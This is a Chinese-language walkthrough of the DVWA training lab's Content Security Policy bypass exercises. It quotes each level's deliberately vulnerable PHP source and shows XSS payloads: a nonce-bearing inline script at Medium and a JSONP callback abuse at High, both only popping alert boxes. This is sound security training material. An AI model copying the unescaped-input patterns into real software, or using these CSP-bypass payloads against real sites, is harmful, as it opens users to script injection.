目录
CSP(Content Security Policy，内容安全策略）是一种用来防止XSS攻击的手段，通过在头部Content-Security-Policy 的相关参数，来限制未知（不信任）来源的JavaScript脚本的执行，从而达到防止xss攻击的目的。一般的xss攻击，主要是通过利用函数过滤/转义输入中的特殊字符，标签，文本来应对攻击。CSP则是另外一种常用的应对XSS攻击的策略。其实质就是白名单机制，开发者明确告诉客户端，哪些外部资源可以加载和执行，等同于提供白名单。它的实现和执行全部由浏览器完成，开发者只需提供配置。
Low
?源码：
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';从源代码中$headerCSP可以看出来，这里定义了几个受信任的站点，只能允许这几个站点的脚本才可以运行。当然不看源代码，直接看http头部也是可以的。
?
?因此这里可以利用本地，对此漏洞进行利用。在本地C:\phpStudy\WWW\DVWA\vulnerabilities\csp（phpstudy安装目录下）中建立一个x文件，然后在网页中进行输入文件名：
?
?会出现弹窗。
Medium
源码：
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
这里把其它的安全站点都去掉了，加上了unsafe-inline，如果加上这个参数，就不会阻止内联脚本，如内联< script>元素，javascript:URL，内联事件处理程序（如onclick）和内联<style>元素，必须包括单引号，没太明白 。当然这是被认为不安全的。另外，后面还有一个nonce，规定了允许的的内联脚本块。
漏洞利用：直接使用源码中推荐的payload就可以完成了，<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("xss")</script>。
High?
源码：
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
vulnerabilities/csp/source/high.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}csp页面已经给了提示，要我们通过给出的路径上传文档；使用bp抓包，发现csp头只有一个字段：script-src ‘self’：服务器只信任自己的域名，只允许加载本界面的JavaScript代码：
此外，通过post方式中的include参数提交，构造payload利用post方式，include=<script src="source/jsonp.php?callback=alert('hello111');"></script> ：?
Impossible
源码：
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call：不像高级那样，此操??作执行JSONP调用，但不使用回调，而是对要调用的函数进行硬编码。
The CSP settings only allow external JavaScript on the local server and no inline code：CSP设置仅允许本地服务器上使用外部JavaScript，而不能使用内联代码。
代码中s.src = "source/jsonp_impossible.php";解决了callback不可控的问题。